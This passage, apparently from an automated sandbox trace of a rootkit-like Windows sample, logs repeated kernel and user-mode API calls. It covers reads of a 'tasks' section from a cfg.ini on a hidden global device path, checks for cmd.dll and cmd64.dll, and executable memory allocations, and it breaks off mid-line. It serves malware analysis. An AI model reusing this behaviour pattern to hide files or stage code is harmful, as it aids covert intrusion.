[0125.693] KeEnterCriticalRegion () [0125.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.693] KeLeaveCriticalRegion () [0125.693] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.693] KeEnterCriticalRegion () [0125.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.693] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.693] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.693] KeLeaveCriticalRegion () [0125.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.693] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.693] KeEnterCriticalRegion () [0125.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.693] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.693] KeLeaveCriticalRegion () [0125.693] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.693] ReleaseMutex (hMutex=0xf0) returned 1 [0125.693] Sleep (dwMilliseconds=0x927c0) [0125.707] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.707] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.707] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.707] KeEnterCriticalRegion () [0125.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.707] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.707] IdePortDispatch () returned 0x103 [0125.707] KeWaitForMutexObject () returned 0x0 [0125.707] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.707] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.707] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.707] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.707] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.707] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9830 [0125.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.707] KeLeaveCriticalRegion () [0125.707] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.708] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.708] KeEnterCriticalRegion () [0125.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.708] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.708] KeLeaveCriticalRegion () [0125.708] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.708] KeEnterCriticalRegion () [0125.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.708] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.708] IdePortDispatch () returned 0x103 [0125.708] KeWaitForMutexObject () returned 0x0 [0125.708] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.708] KeLeaveCriticalRegion () [0125.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.708] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.708] KeEnterCriticalRegion () [0125.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.708] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd1000 [0125.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.708] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.708] IdePortDispatch () returned 0x103 [0125.709] KeWaitForMutexObject () returned 0x0 [0125.709] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.709] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.709] IdePortDispatch () returned 0x103 [0125.709] KeWaitForMutexObject () returned 0x0 [0125.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.709] KeLeaveCriticalRegion () [0125.709] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.709] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.709] KeEnterCriticalRegion () [0125.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.709] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.709] KeLeaveCriticalRegion () [0125.709] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.709] KeEnterCriticalRegion () [0125.709] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.709] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.710] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.710] KeLeaveCriticalRegion () [0125.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.710] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.710] KeEnterCriticalRegion () [0125.710] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.710] ExFreePoolWithTag (P=0xfffffa8003bf9830, Tag=0x0) [0125.710] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.710] KeLeaveCriticalRegion () [0125.710] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.710] ReleaseMutex (hMutex=0xf0) returned 1 [0125.710] Sleep (dwMilliseconds=0x927c0) [0125.725] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.725] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.725] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.725] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.725] KeEnterCriticalRegion () [0125.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.725] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.725] IdePortDispatch () returned 0x103 [0125.725] KeWaitForMutexObject () returned 0x0 [0125.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.725] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.725] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.725] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.725] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.725] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf9c60 [0125.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.725] KeLeaveCriticalRegion () [0125.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.725] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.725] KeEnterCriticalRegion () [0125.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.725] KeLeaveCriticalRegion () [0125.725] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.726] KeEnterCriticalRegion () [0125.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.726] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.726] IdePortDispatch () returned 0x103 [0125.726] KeWaitForMutexObject () returned 0x0 [0125.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.726] KeLeaveCriticalRegion () [0125.726] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.726] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.726] KeEnterCriticalRegion () [0125.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.726] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd6000 [0125.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.726] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.726] IdePortDispatch () returned 0x103 [0125.726] KeWaitForMutexObject () returned 0x0 [0125.726] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.726] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.726] IdePortDispatch () returned 0x103 [0125.727] KeWaitForMutexObject () returned 0x0 [0125.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.727] KeLeaveCriticalRegion () [0125.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.727] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.727] KeEnterCriticalRegion () [0125.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.727] KeLeaveCriticalRegion () [0125.727] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.727] KeEnterCriticalRegion () [0125.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.727] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.727] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.727] KeLeaveCriticalRegion () [0125.727] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.727] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.728] KeEnterCriticalRegion () [0125.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.728] ExFreePoolWithTag (P=0xfffffa8003bf9c60, Tag=0x0) [0125.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.728] KeLeaveCriticalRegion () [0125.728] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.728] ReleaseMutex (hMutex=0xf0) returned 1 [0125.728] Sleep (dwMilliseconds=0x927c0) [0125.736] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.736] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.739] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.739] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.739] KeEnterCriticalRegion () [0125.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.739] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0125.739] IdePortDispatch () returned 0x103 [0125.739] KeWaitForMutexObject () returned 0x0 [0125.739] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.739] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.739] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.739] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.739] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.739] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf68b0 [0125.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.739] KeLeaveCriticalRegion () [0125.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.740] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.740] KeEnterCriticalRegion () [0125.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.740] KeLeaveCriticalRegion () [0125.740] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.740] KeEnterCriticalRegion () [0125.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.740] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0125.740] IdePortDispatch () returned 0x103 [0125.740] KeWaitForMutexObject () returned 0x0 [0125.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.740] KeLeaveCriticalRegion () [0125.740] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.740] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.740] KeEnterCriticalRegion () [0125.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdb000 [0125.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.740] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.740] IdePortDispatch () returned 0x103 [0125.740] KeWaitForMutexObject () returned 0x0 [0125.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0125.741] IdePortDispatch () returned 0x103 [0125.741] KeWaitForMutexObject () returned 0x0 [0125.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.741] KeLeaveCriticalRegion () [0125.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.741] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.741] KeEnterCriticalRegion () [0125.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.741] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.741] KeLeaveCriticalRegion () [0125.741] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.741] KeEnterCriticalRegion () [0125.741] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.742] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9990, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.742] KeLeaveCriticalRegion () [0125.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.742] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.742] KeEnterCriticalRegion () [0125.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.742] ExFreePoolWithTag (P=0xfffffa8003bf68b0, Tag=0x0) [0125.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.742] KeLeaveCriticalRegion () [0125.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.742] ReleaseMutex (hMutex=0xf0) returned 1 [0125.742] Sleep (dwMilliseconds=0x927c0) [0125.750] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0125.750] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.750] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0125.750] _snprintf (in: 